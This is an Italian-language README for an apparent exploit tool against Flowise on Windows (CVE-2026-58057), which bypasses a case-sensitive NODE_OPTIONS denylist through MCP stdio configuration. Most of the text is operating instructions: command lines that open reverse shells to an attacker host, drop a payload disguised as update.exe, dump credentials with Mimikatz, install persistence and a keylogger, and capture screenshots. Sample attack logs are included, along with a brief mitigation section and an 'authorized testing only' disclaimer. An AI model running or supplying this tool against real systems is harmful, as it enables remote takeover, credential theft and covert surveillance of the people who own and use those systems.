Exploit RCE per Windows di Flowise per CVE-2026-58057. Bypassa la validazione delle variabili d'ambiente tramite una falla case-sensitive. Utilizza node_options per iniettare codice arbitrario tramite MCP stdio. Supporta reverse shell, persistenza, upload di file e credential dumping. Solo per test di sicurezza autorizzati.
Questo è un exploit di livello produzione per CVE-2026-58057, una vulnerabilità critica di esecuzione di codice remoto in Flowise su piattaforme Windows. La vulnerabilità deriva dalla validazione delle variabili d'ambiente sensibile alle maiuscole che non riesce a bloccare node_options in minuscolo, consentendo agli aggressori di bypassare la denylist NODE_OPTIONS ed eseguire codice arbitrario tramite la configurazione Custom MCP stdio.
L'exploit dimostra pratiche professionali di ingegneria del software con architettura modulare, gestione completa degli errori e supporto per molteplici tipi di payload.
IMPORTANTE: Questo strumento è fornito esclusivamente per test di sicurezza autorizzati, test di penetrazione e scopi educativi.L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo software.Ottenere sempre la dovuta autorizzazione prima di testare qualsiasi sistema.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
L'aggressore autentica su Flowise
Crea/Modifica il nodo Custom MCP stdio
Inietta la variabile d'ambiente node_options in minuscolo
Imposta il valore su --require malicious-loader.js
Node.js esegue il loader quando viene eseguito MCP stdio
Viene ottenuta l'esecuzione di codice arbitrario
✅ Reverse Shell - Connessione di ritorno alla macchina dell'aggressore
✅ Bind Shell - Apre una porta in ascolto sul bersaglio
✅ Command Execution - Esegue comandi di sistema arbitrari
✅ File Upload - Carica file sul sistema bersaglio
✅ Persistence - Molteplici meccanismi di persistenza
✅ Information Gathering - Raccoglie informazioni sul sistema
✅ Credential Dumping - Integrazione con Mimikatz
✅ Screenshot Capture - Acquisisce screenshot del desktop
✅ Keylogger - Installa funzionalità di keylogging
🔐 Molteplici Metodi di Autenticazione - API key o nome utente/password
🔄 Logica di Riprova Automatica - Resiliente ai problemi di rete
🧹 Auto-Pulizia - Rimuove i file loader dal bersaglio
🌐 Multi-Piattaforma - Funziona su Windows/Linux/macOS
🎨 Output Colorato - Leggibilità migliorata
📊 Debug Dettagliato - Logging dettagliato per la risoluzione dei problemi
Python 3.6 o superiore
pip (gestore di pacchetti Python)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Opzione | Descrizione | Esempio |
|---|---|---|
-t, --target | URL di Flowise (Obbligatorio) | http://localhost:3000 |
-k, --api-key | API key di Flowise | flowise_abc123... |
-u, --username | Nome utente | admin |
-p, --password | Password | password123 |
| Opzione | Descrizione | Esempio |
|---|---|---|
--payload | Tipo di payload | reverse_shell |
--lhost | Host in ascolto | 192.168.1.100 |
--lport | Porta in ascolto | 4444 |
--command | Comando da eseguire | whoami |
--local-file | File da caricare | payload.exe |
--remote-path | Percorso di salvataggio remoto | C:\\Temp\\update.exe |
| Opzione | Descrizione |
|---|---|
--interactive | Avvia shell interattiva |
--verbose | Abilita output di debug |
--timeout | Timeout della richiesta in secondi |
--retries | Numero di tentativi di ripetizione |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| Payload | Descrizione | Argomenti |
|---|---|---|
reverse_shell | Connessione di ritorno al listener | --lhost, --lport |
bind_shell | Apre una porta in ascolto | --lport |
command_exec | Esegue un comando | --command |
file_upload | Carica un file sul bersaglio | --local-file, --remote-path |
persistence | Installa la persistenza | Nessuno |
info_gather | Raccoglie informazioni di sistema | Nessuno |
mimikatz | Estrae le credenziali | Nessuno |
screenshot | Acquisisce uno screenshot | Nessuno |
keylogger | Installa il keylogger | Nessuno |
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
Limitare l'accesso alla configurazione Custom MCP
Implementare la segmentazione di rete
Monitorare le variabili d'ambiente sospette
Utilizzare un Web Application Firewall (WAF)
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
| Problema | Soluzione |
|---|---|
| Errore certificato SSL | pip install --trusted-host pypi.org -r requirements.txt |
| Permesso negato | pip install --user -r requirements.txt |
| Connessione rifiutata | Verificare l'URL del bersaglio e la connettività di rete |
| Autenticazione fallita | Controllare API key o nome utente/password |
| Il payload fallisce | Usare --verbose per un debug dettagliato |
| Versione Python | Assicurarsi che Python 3.6+ sia installato |
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Main exploit script
├── requirements.txt # Core dependencies
├── README.md # This documentation
├── LICENSE # MIT License
└── CHANGELOG.md # Version history
Fai il fork del repository
Crea un branch per la funzionalità (git checkout -b feature/amazing)
Committa le modifiche (git commit -m 'Add amazing feature')
Esegui il push del branch (git push origin feature/amazing)
Apri una Pull Request
Questo progetto è concesso in licenza sotto la MIT License - consulta il file LICENSE per i dettagli.
FlowiseAI per il prodotto
Ricercatori di sicurezza che hanno scoperto vulnerabilità simili
Comunità di penetration testing per le metodologie di test
Autore: Sudeepa Wanigarathna Ricercatore di Sicurezza & Penetration Tester
Se trovi utile questo strumento, considera:
⭐ Mettere una stella al repository su GitHub
🔔 Seguire per ricevere aggiornamenti
📝 Segnalare problemi o suggerimenti
Realizzato con ❤️ per la community della sicurezza